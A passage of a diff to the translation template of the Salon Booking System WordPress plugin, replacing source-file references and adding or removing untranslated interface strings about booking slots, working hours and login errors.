build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FHomepageTab.php:11, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FHomepageTab.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FHomepageTab.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FHomepageTab.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FHomepageTab.php:11\n-msgid \"Reset completed with success\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_auto_align_slots.php:24\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_auto_align_slots.php:24\n+msgid \"\"\n+\"When enabled, customers will only see time slots aligned with the service \"\n+\"duration. For example, a 2-hour service will show slots every 2 hours (09:00,\"\n+\" 11:00, 13:00...) instead of every 15 minutes. This prevents customers from \"\n+\"booking at misaligned times that would block optimal scheduling.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:23, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:23, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:23\n-msgid \"This service is unavailable w\u002Fo parent service\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_style.php:215\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:215\n+msgid \"\"\n+\"When enabled, service duration will be hidden on booking form and email \"\n+\"notification\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:34, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:34, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:34\n-msgid \"This service is unavailable w\u002Fo primary service in the same category\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:242\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:242\n+msgid \"\"\n+\"When enabled, time slots will only show if at least one assistant is \"\n+\"actually available for the service. Works with \\\"Change order\\\" setting \"\n+\"(Service → Assistant → Date\u002FTime). Recommended: Keep enabled for accurate \"\n+\"availability.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:239\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:239\n+msgid \"Where can I find my purchase code?\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:122\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:122\n+msgid \"Which days are you available?\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:358\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:358\n+msgid \"Will be displayed on checkout page before booking completition.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:45, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:45, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:45\n-msgid \"This service is unavailable \"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:396\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:396\n+msgid \"\"\n+\"Will be displayed on thankyou page. You can use [SALON PHONE], [SALON EMAIL]\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:46, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:46, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:46, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:46, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:46, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:46\n-msgid \"Availability: \"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:219\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:219\n+msgid \"Will be used Whatsapp messenger for deliver your notifications\"\n msgstr \"\"\n \n-#. translators: %s will be replaced by the time\n-#: src\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:70, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:70, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:70\n-msgid \"The service for %s is currently full\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:109\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:109\n+msgid \"will expire in %d days on\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:85, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:85, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:85, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:85, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:85, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:85\n-msgid \"No assistants available for this service at \"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:154\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:154\n+msgid \"Working hours\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:96, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:96, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:96, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:96, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:96, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:96\n-msgid \"This attendant is unavailable \"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:12\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:12\n+msgid \"Workshop\"\n msgstr \"\"\n \n-#. translators: %s will be replaced by the time\n-#: src\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:108, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:108, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:108, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:108, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:108, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:108\n-msgid \"This assistant is full at %s\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:420\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:479\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:420\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:479\n+msgid \"write message\"\n msgstr \"\"\n \n-#. translators: %s will be replaced by the time\n-#: src\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:121, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:121, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:121, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:121, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:121, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:121\n-msgid \"This resource is full at %s\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:68\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:68\n+msgid \"write your address\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:136, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:136, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:136, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:136, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:136, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:136\n-msgid \"No resources available for this service at \"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:12\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:12\n+msgid \"Wrong Nonce.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FShortcode\u002FSalon\u002FAbstractUserStep.php:70, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAbstractUserStep.php:70, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAbstractUserStep.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAbstractUserStep.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAbstractUserStep.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAbstractUserStep.php:70\n-msgid \"username can't be empty\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAuth_Controller.php:61\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAuth_Controller.php:61\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAuth_Controller.php:61\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAuth_Controller.php:61\n+msgid \"Wrong user name.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FShortcode\u002FSalon\u002FAbstractUserStep.php:73, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAbstractUserStep.php:73, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAbstractUserStep.php:73, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAbstractUserStep.php:73, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAbstractUserStep.php:73, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAbstractUserStep.php:73\n-msgid \"password can't be empty\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAuth_Controller.php:65\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAuth_Controller.php:65\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAuth_Controller.php:65\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAuth_Controller.php:65\n+msgid \"Wrong user password.\"\n msgstr \"\"\n \n-#. translators: %1$s will be replaced by the service name, %2$s will be replaced by the service count multiple attendants\n-#: src\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantAltStep.php:53, src\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantAltStep.php:150, src\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:99, src\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:204, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantAltStep.php:53, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantAltStep.php:150, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:99, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:204, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantAltStep.php:53, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantAltStep.php:150, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:99, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:204, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantAltStep.php:53, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantAltStep.php:150, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:99, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:204, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantAltStep.php:53, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantAltStep.php:150, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:99, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:204, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantAltStep.php:53, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantAltStep.php:150, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:99, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:204\n-msgid \"There are not enough attendants for %1$s service. Required for the service: %2$s\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:151\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:166\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:179\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:189\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:442\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:151\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:166\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:179\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:189\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:442\n+msgid \"year\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantHelper.php:72, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantHelper.php:72, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantHelper.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantHelper.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantHelper.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantHelper.php:72\n-msgid \"Choose an assistant for me\"\n+#: 